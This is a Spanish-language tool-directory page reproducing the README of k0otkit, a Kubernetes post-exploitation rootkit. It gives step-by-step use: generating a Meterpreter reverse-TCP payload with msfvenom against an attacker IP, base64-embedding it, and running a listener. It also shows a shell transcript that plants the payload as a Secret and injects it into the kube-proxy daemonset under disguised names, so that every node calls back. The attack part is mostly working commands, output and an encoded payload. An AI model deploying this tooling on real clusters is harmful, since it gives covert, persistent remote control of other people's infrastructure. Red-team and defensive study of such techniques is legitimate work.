Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
k0otkit — k0otkit es una técnica universal de post-penetración que podría ser utilizada en penetraciones contra clústeres de Kubernetes. | Kitploit
Herramientas/GitHubGitHub/metarget/k0otkit
Seguridad de ContenedoresGeneración de PayloadsIngeniería InversaPost-ExplotaciónPruebas de PenetraciónComando y ControlRed TeamingEscape de Contenedores
GitHubmetarget/k0otkit

k0otkit

k0otkit es una técnica universal de post-penetración que podría ser utilizada en penetraciones contra clústeres de Kubernetes.

Ver Repositorio
3005170hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

k0otkit - Manipula K8s de manera K8s

Introducción

k0otkit es una técnica universal de post-penetración que puede utilizarse en penetraciones contra clústeres de Kubernetes.

Con k0otkit, puedes manipular todos los nodos del clúster Kubernetes objetivo de forma rápida, encubierta y continua (reverse shell).

k0otkit es la combinación de Kubernetes y rootkit.

Requisito previo:

k0otkit es una herramienta de post-penetración, por lo que primero debes conquistar un clúster, de alguna manera lograr escapar del contenedor y obtener el privilegio root del nodo maestro (para ser exactos, debes obtener el privilegio de administrador del Kubernetes objetivo).

Escenario:

  1. Después de la penetración web, obtienes un shell del objetivo.
  2. Si es necesario, logras escalar el privilegio y lo consigues.
  3. Descubres que el entorno objetivo es un contenedor (Pod) en un clúster de Kubernetes.
  4. Logras escapar del contenedor y lo consigues (con CVE-2016-5195, CVE-2019-5736, docker.sock u otras técnicas).
  5. Obtienes un shell root del nodo maestro y puedes instruir al clúster con kubectl en el nodo maestro como admin.
  6. Ahora quieres controlar todos los nodos del clúster lo más rápido posible. ¡Aquí entra k0otkit!

k0otkit se detalla en k0otkit: Hack K8s in a K8s Way.

Uso

Asegúrate de tener el shell root en el nodo maestro del Kubernetes objetivo. (También puedes utilizar k0otkit si tienes el privilegio de administrador del Kubernetes objetivo, aunque es posible que necesites modificar el comando kubectl en k0otkit_template.sh para usar el token o certificación).

Asegúrate de tener Metasploit instalado en tu host atacante (msfvenom y msfconsole deben estar disponibles).

Desplegar k0otkit

Clona este repositorio:

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

Reemplaza la IP y el puerto del atacante en pre_exp.sh con tu propia IP y puerto:

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

Generar k0otkit:

./pre_exp.sh

Se generará k0otkit.sh. Luego ejecuta el manejador de reverse shell:

./handle_multi_reverse_shell.sh

Una vez que el manejador esté listo, copia el contenido de k0otkit.sh y péguelo en tu shell en el nodo maestro del Kubernetes objetivo, luego presiona <Enter> para ejecutarlo.

Espera un momento y disfruta de reverse shells de todos los nodos :)

P.D. No hay límite en cuántos clústeres de Kubernetes puedes manipular con k0otkit.

Interactuar con las Shells

Después del despliegue exitoso de k0otkit, puedes interactuar con cualquier reverse shell como desees:

# dentro de msfconsole
sessions 1

Características

  • utilizar recursos y características de K8s (hackear K8s a la manera K8s)
  • inyección dinámica de contenedores
  • cifrado de comunicación (gracias a Meterpreter)
  • sin archivos

Ejemplo

Generar k0otkit:

kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

Ejecutar el manejador de reverse shell:

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

Copia el contenido de k0otkit.sh en tu shell en el nodo maestro del Kubernetes objetivo y presiona <Enter>:

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
Descargar herramienta